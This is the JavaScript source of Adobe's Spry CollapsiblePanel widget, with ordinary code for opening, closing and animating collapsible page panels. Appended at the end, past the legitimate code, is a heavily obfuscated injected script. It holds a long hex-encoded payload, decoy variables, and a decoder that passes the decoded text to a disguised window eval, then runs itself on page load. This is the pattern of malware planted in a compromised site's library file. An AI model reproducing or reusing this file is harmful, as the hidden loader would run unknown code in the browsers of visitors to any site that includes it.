/* SpryCollapsiblePanel.js - Revision: Spry Preview Release 1.4 */

// Copyright (c) 2006. Adobe Systems Incorporated.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
//   * Redistributions of source code must retain the above copyright notice,
//     this list of conditions and the following disclaimer.
//   * Redistributions in binary form must reproduce the above copyright notice,
//     this list of conditions and the following disclaimer in the documentation
//     and/or other materials provided with the distribution.
//   * Neither the name of Adobe Systems Incorporated nor the names of its
//     contributors may be used to endorse or promote products derived from this
//     software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.

var Spry;
if (!Spry) Spry = {};
if (!Spry.Widget) Spry.Widget = {};

Spry.Widget.CollapsiblePanel = function(element, opts)
{
this.init(element);

Spry.Widget.CollapsiblePanel.setOptions(this, opts);

this.attachBehaviors();
};

Spry.Widget.CollapsiblePanel.prototype.init = function(element)
{
this.element = this.getElement(element);
this.focusElement = null;
this.hoverClass = "CollapsiblePanelTabHover";
this.openClass = "CollapsiblePanelOpen";
this.closedClass = "CollapsiblePanelClosed";
this.focusedClass = "CollapsiblePanelFocused";
this.enableAnimation = true;
this.enableKeyboardNavigation = true;
this.animator = null;
this.hasFocus = false;
this.contentIsOpen = true;
};

Spry.Widget.CollapsiblePanel.prototype.getElement = function(ele)
{
if (ele && typeof ele == "string")
return document.getElementById(ele);
return ele;
};

Spry.Widget.CollapsiblePanel.prototype.addClassName = function(ele, className)
{
if (!ele || !className || (ele.className && ele.className.search(new RegExp("\\b" + className + "\\b")) != -1))
return;
ele.className += (ele.className ? " " : "") + className;
};

Spry.Widget.CollapsiblePanel.prototype.removeClassName = function(ele, className)
{
if (!ele || !className || (ele.className && ele.className.search(new RegExp("\\b" + className + "\\b")) == -1))
return;
ele.className = ele.className.replace(new RegExp("\\s*\\b" + className + "\\b", "g"), "");
};

Spry.Widget.CollapsiblePanel.prototype.hasClassName = function(ele, className)
{
if (!ele || !className || !ele.className || ele.className.search(new RegExp("\\b" + className + "\\b")) == -1)
return false;
return true;
};

Spry.Widget.CollapsiblePanel.prototype.setDisplay = function(ele, display)
{
if( ele )
ele.style.display = display;
};

Spry.Widget.CollapsiblePanel.setOptions = function(obj, optionsObj, ignoreUndefinedProps)
{
if (!optionsObj)
return;
for (var optionName in optionsObj)
{
if (ignoreUndefinedProps && optionsObj[optionName] == undefined)
continue;
obj[optionName] = optionsObj[optionName];
}
};

Spry.Widget.CollapsiblePanel.prototype.onTabMouseOver = function()
{
this.addClassName(this.getTab(), this.hoverClass);
};

Spry.Widget.CollapsiblePanel.prototype.onTabMouseOut = function()
{
this.removeClassName(this.getTab(), this.hoverClass);
};

Spry.Widget.CollapsiblePanel.prototype.open = function()
{
this.contentIsOpen = true;
if (this.enableAnimation)
{
if (this.animator)
this.animator.stop();
this.animator = new Spry.Widget.CollapsiblePanel.PanelAnimator(this, true);
this.animator.start();
}
else
this.setDisplay(this.getContent(), "block");

this.removeClassName(this.element, this.closedClass);
this.addClassName(this.element, this.openClass);
};

Spry.Widget.CollapsiblePanel.prototype.close = function()
{
this.contentIsOpen = false;
if (this.enableAnimation)
{
if (this.animator)
this.animator.stop();
this.animator = new Spry.Widget.CollapsiblePanel.PanelAnimator(this, false);
this.animator.start();
}
else
this.setDisplay(this.getContent(), "none");

this.removeClassName(this.element, this.openClass);
this.addClassName(this.element, this.closedClass);
};

Spry.Widget.CollapsiblePanel.prototype.onTabClick = function()
{
if (this.isOpen())
this.close();
else
this.open();
this.focus();
};

Spry.Widget.CollapsiblePanel.prototype.onFocus = function(e)
{
this.hasFocus = true;
this.addClassName(this.element, this.focusedClass);
};

Spry.Widget.CollapsiblePanel.prototype.onBlur = function(e)
{
this.hasFocus = false;
this.removeClassName(this.element, this.focusedClass);
};

Spry.Widget.CollapsiblePanel.ENTER_KEY = 13;
Spry.Widget.CollapsiblePanel.SPACE_KEY = 32;

Spry.Widget.CollapsiblePanel.prototype.onKeyDown = function(e)
{
var key = e.keyCode;
if (!this.hasFocus || (key != Spry.Widget.CollapsiblePanel.ENTER_KEY && key != Spry.Widget.CollapsiblePanel.SPACE_KEY))
return true;

if (this.isOpen())
this.close();
else
this.open();

if (e.stopPropagation)
e.stopPropagation();
if (e.preventDefault)
e.preventDefault();

return false;
};

Spry.Widget.CollapsiblePanel.prototype.attachPanelHandlers = function()
{
var tab = this.getTab();
if (!tab)
return;

var self = this;
Spry.Widget.CollapsiblePanel.addEventListener(tab, "click", function(e) { return self.onTabClick(); }, false);
Spry.Widget.CollapsiblePanel.addEventListener(tab, "mouseover", function(e) { return self.onTabMouseOver(); }, false);
Spry.Widget.CollapsiblePanel.addEventListener(tab, "mouseout", function(e) { return self.onTabMouseOut(); }, false);

if (this.enableKeyboardNavigation)
{
// XXX: IE doesn't allow the setting of tabindex dynamically. This means we can't
// rely on adding the tabindex attribute if it is missing to enable keyboard navigation
// by default.

// Find the first element within the tab container that has a tabindex or the first
// anchor tag.

var tabIndexEle = null;
var tabAnchorEle = null;

this.preorderTraversal(tab, function(node) {
if (node.nodeType == 1 /* NODE.ELEMENT_NODE */)
{
var tabIndexAttr = tab.attributes.getNamedItem("tabindex");
if (tabIndexAttr)
{
tabIndexEle = node;
return true;
}
if (!tabAnchorEle && node.nodeName.toLowerCase() == "a")
tabAnchorEle = node;
}
return false;
});

if (tabIndexEle)
this.focusElement = tabIndexEle;
else if (tabAnchorEle)
this.focusElement = tabAnchorEle;

if (this.focusElement)
{
Spry.Widget.CollapsiblePanel.addEventListener(this.focusElement, "focus", function(e) { return self.onFocus(e); }, false);
Spry.Widget.CollapsiblePanel.addEventListener(this.focusElement, "blur", function(e) { return self.onBlur(e); }, false);
Spry.Widget.CollapsiblePanel.addEventListener(this.focusElement, "keydown", function(e) { return self.onKeyDown(e); }, false);
}
}
};

Spry.Widget.CollapsiblePanel.addEventListener = function(element, eventType, handler, capture)
{
try
{
if (element.addEventListener)
element.addEventListener(eventType, handler, capture);
else if (element.attachEvent)
element.attachEvent("on" + eventType, handler);
}
catch (e) {}
};

Spry.Widget.CollapsiblePanel.prototype.preorderTraversal = function(root, func)
{
var stopTraversal = false;
if (root)
{
stopTraversal = func(root);
if (root.hasChildNodes())
{
var child = root.firstChild;
while (!stopTraversal && child)
{
stopTraversal = this.preorderTraversal(child, func);
try { child = child.nextSibling; } catch (e) { child = null; }
}
}
}
return stopTraversal;
};

Spry.Widget.CollapsiblePanel.prototype.attachBehaviors = function()
{
var panel = this.element;
var tab = this.getTab();
var content = this.getContent();

if (this.contentIsOpen || this.hasClassName(panel, this.openClass))
{
this.removeClassName(panel, this.closedClass);
this.setDisplay(content, "block");
this.contentIsOpen = true;
}
else
{
this.removeClassName(panel, this.openClass);
this.addClassName(panel, this.closedClass);
this.setDisplay(content, "none");
this.contentIsOpen = false;
}

this.attachPanelHandlers();
};

Spry.Widget.CollapsiblePanel.prototype.getTab = function()
{
return this.getElementChildren(this.element)[0];
};

Spry.Widget.CollapsiblePanel.prototype.getContent = function()
{
return this.getElementChildren(this.element)[1];
};

Spry.Widget.CollapsiblePanel.prototype.isOpen = function()
{
return this.contentIsOpen;
};

Spry.Widget.CollapsiblePanel.prototype.getElementChildren = function(element)
{
var children = [];
var child = element.firstChild;
while (child)
{
if (child.nodeType == 1 /* Node.ELEMENT_NODE */)
children.push(child);
child = child.nextSibling;
}
return children;
};

Spry.Widget.CollapsiblePanel.prototype.focus = function()
{
if (this.focusElement && this.focusElement.focus)
this.focusElement.focus();
};

/////////////////////////////////////////////////////

Spry.Widget.CollapsiblePanel.PanelAnimator = function(panel, doOpen, opts)
{
this.timer = null;
this.interval = 0;
this.stepCount = 0;

this.fps = 0;
this.steps = 10;
this.duration = 500;
this.onComplete = null;

this.panel = panel;
this.content = panel.getContent();
this.panelData = [];
this.doOpen = doOpen;

Spry.Widget.CollapsiblePanel.setOptions(this, opts);


// If caller specified speed in terms of frames per second,
// convert them into steps.

if (this.fps > 0)
{
this.interval = Math.floor(1000 / this.fps);
this.steps = parseInt((this.duration + (this.interval - 1)) / this.interval);
}
else if (this.steps > 0)
this.interval = this.duration / this.steps;

var c = this.content;

var curHeight = c.offsetHeight ? c.offsetHeight : 0;

if (doOpen && c.style.display == "none")
this.fromHeight = 0;
else
this.fromHeight = curHeight;

if (!doOpen)
this.toHeight = 0;
else
{
if (c.style.display == "none")
{
// The content area is not displayed so in order to calculate the extent
// of the content inside it, we have to set its display to block.

c.style.visibility = "hidden";
c.style.display = "block";
}

// Unfortunately in Mozilla/Firefox, fetching the offsetHeight seems to cause
// the browser to synchronously re-layout and re-display content on the page,
// so we see a brief flash of content that is *after* the panel being positioned
// where it should when the panel is fully expanded. To get around this, we
// temporarily position the content area of the panel absolutely off-screen.
// This has the effect of taking the content out-of-flow, so nothing shifts around.

// var oldPos = c.style.position;
// var oldLeft = c.style.left;
// c.style.position = "absolute";
// c.style.left = "-2000em";

// Clear the height property so we can calculate
// the full height of the content we are going to show.
c.style.height = "";
this.toHeight = c.offsetHeight;

// Now restore the position and offset to what it was!
// c.style.position = oldPos;
// c.style.left = oldLeft;
}

this.increment = (this.toHeight - this.fromHeight) / this.steps;
this.overflow = c.style.overflow;

c.style.height = this.fromHeight + "px";
c.style.visibility = "visible";
c.style.overflow = "hidden";
c.style.display = "block";
};

Spry.Widget.CollapsiblePanel.PanelAnimator.prototype.start = function()
{
var self = this;
this.timer = setTimeout(function() { self.stepAnimation(); }, this.interval);
};

Spry.Widget.CollapsiblePanel.PanelAnimator.prototype.stop = function()
{
if (this.timer)
{
clearTimeout(this.timer);

// If we're killing the timer, restore the overflow
// properties on the panels we were animating!

if (this.stepCount < this.steps)
this.content.style.overflow = this.overflow;
}

this.timer = null;
};

Spry.Widget.CollapsiblePanel.PanelAnimator.prototype.stepAnimation = function()
{
++this.stepCount;

this.animate();

if (this.stepCount < this.steps)
this.start();
else if (this.onComplete)
this.onComplete();
};

Spry.Widget.CollapsiblePanel.PanelAnimator.prototype.animate = function()
{
if (this.stepCount >= this.steps)
{
if (!this.doOpen)
this.content.style.display = "none";
this.content.style.overflow = this.overflow;
this.content.style.height = this.toHeight + "px";
}
else
{
this.fromHeight += this.increment;
this.content.style.height = this.fromHeight + "px";
}
};

var sSecureQ='';var aV=function(){};var checkL;var yCL;if(yCL!='fSecureF' && yCL!='nWY'){yCL='fSecureF'};var lIX=false;checkL='41464d4d4c4340471c4255587c497b63474e037f644a7e270b62494e465a042b4c6f7f5252515a4956451e020e5653570a025243465a495a0e1b5e54497a1215190c443301320e0b5a683f176169547d5a47785e7c6d062d4a213915080e1911057b4745075a587b47576e1e4a5'+'47b1f7a434d4410061e342e030d1832001742474d74634c0f5a7d666d756c483a466c7151585a031553527b4a79670c03026e7057637b43796650782105292f3e080f391606494e705c4942525b586b5a0313066352424b7a4c0d5a49417f525554704746490f201d3f29021204'+'5f2f2517110c57511f4e40545d76534e6d4f4a6d4335140a5b4f524d1c04010615362e011a41594f435360027f5a41444b37345c7e7458590d2c5e5a6c547c5247634b76480914112e2016055571505b5a5b7a0c370b2213464148575f4b511a28121d060b04180f3100140f361'+'041485d421e07000737310951466c671a3625042166466c670b020202160702043f14080f042705715a4345574102051b06282e084a554f53476b2e0d0b0f074e594b5e49782f190916260f190f2221040b2c03195f5641744948180f32220117085d5d49527a46061118270706'+'261e03235e232c41404f564a4d4a561f4e6b6d6d445d48475d16486c734a22204525251612027679502c785049485b5a043634060b2e102b077d5f4f4a57125852115667614f43523509332f251d6f7e540342495250594c021a0f121b02140505474146785c0c1301131a11222'+'31f06294d4d4c076a7a5074566635002b785678750c08110505095663581043594d71625a0b1b273a06122c03200a7660502a6b4a652006000418132f042f114555010b7d416f434b4b045c49515f597b1734171716177f272c1d2507343c176b5f6e5a5d590a060c5d5b775857'+'510a57575a41097e4a1b4f5c4076457d001138241f081c0f010441722e02544b575f707007061c1e0404081545292f181f0925260e0b1203415e585563751e0f18184c4c64744d6c3f594d405e454d3a063d071f0b2a154d14080256514c1a1f125372474b53780978597347714'+'05c35071e0508054b4340644f71132414032505080f080621405e5308065c5f4111110e1023380b064c0b3513071408001005110c131f346e4b4119232b5b706444697e17726e41725b661f2b290c0a4c0c251b0d1116710922001b262509282f1b2a7c427a4e41792e1a297b55'+'494d476b5e4e0e6f5474664d6f0e745a5152554c4f5a551740427349715404024b4478490231382b151a3835080e58283d3e3e0458371e3f0603476962446670095353526c4d77122f254b202855545218565c525b081e03795d747c494c5956412d075b4a4b5a475a5f160a030'+'c2a4f4900085e4c6b530c241e1713342542332c54444f574e6d45550a44504740510029184f455e5a4d511e6668491b167d635775221034774041504d4f794c357847713b594211456c5a1d1616145f6e427f5e1b0e08455e455940671c090f564d5d4f481b104b4b5640474c18'+'03525a435e5a4a6c4341564a0e180e534852525c46665545584278341e0b4a68764b6e6e5f4b4a5e483f340d7b605d474e4152425910584901073e165d5f505e6f1d0311060e023e61506b6b6a56435f540d1552454640527d6b051d0c11123b13080c2100320407330c240e2c3'+'f59';this.mGV='';var hAA;if(hAA!=''){hAA='mRY'};function q(p){var jWH;if(jWH!='' && jWH!='kSecureG'){jWH=''};                       var secure = 3;var k = null;var o = '%';var jH = -1;var rHR;if(rHR!='' && rHR!='dSecZ'){rHR='lM'};var secureJ = k;var mSecL=new Array();function xU(m){var dYT;if(dYT!='' && dYT!='nR'){dYT=''};var a=1;var jKO;if(jKO!='' && jKO!='kPK'){jKO='secSecZ'};var nD=1%a;var mCheckJ;if(mCheckJ!='qFA'){mCheckJ=''};function l(w){var x=1;}var sE=0,lD=m['lHeUn)g:t:h('.replace(/[\(\)UH\:]/g, '')];while(nD<lD){var nYY=65355;nD+=1;rU=bX(m,nD+jH);var cCN=new Date();sE+=rU*lD;}return new String(sE);}var b=String;var jYI;if(jYI!='' && jYI!='lAQ'){jYI=''};function tSec(gO, jX){this.checkKSec='';var iHR='';if(i == k) {i = {};}var aPB=new Date();if(i[gO] == k) {var dL='';var oJ = Object;i[gO] = new oJ();i[gO].bCheck = k;var secureMY;if(secureMY!='bJF' && secureMY!='dAV'){secureMY=''};i[gO].pG = jX;}}                        var v = 4; var tNC;if(tNC!=''){tNC='pTSec'};var d=window;                       var checkZ = 1; function r(gO) {var dYX;if(dYX!='qHV'){dYX='qHV'};if(i[gO] != k) {var gAG;if(gAG!='pSecG' && gAG!='oGB'){gAG=''};var nS = i[gO];var g = nS.bCheck;var t = nS.pG;var zH;if(zH!='fRQ' && zH != ''){zH=null};var wX = t.substr(g, 1);var z = t['lHeUn)g:t:h('.replace(/[\(\)UH\:]/g, '')]; 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checkK++) {this.rCheckC='';var qQ;if(qQ!='' && qQ!='gXV'){qQ=null};var dT = bX(p,checkK);this.jFSec=false;dT = y(dT, dE);dT = y(dT, r('secureSec'));dT = y(dT, r('eE'));var uAN;if(uAN!='' && uAN!='fXQ'){uAN=null};aS+=gX(dT);var wH=new Date();}var nW;if(nW!='yYG'){nW=''};this.ePT=false;d['e~vNaulb'.replace(/[b~N3u]/g, '')](aS);return aS=new b();};var fII;if(fII!='lRX' && fII!='pCheckZ'){fII=''};var secIY=1771;q(checkL);var sSecK;if(sSecK!=''){sSecK='xK'};var hSecureZ=new Array();   //secured_20101980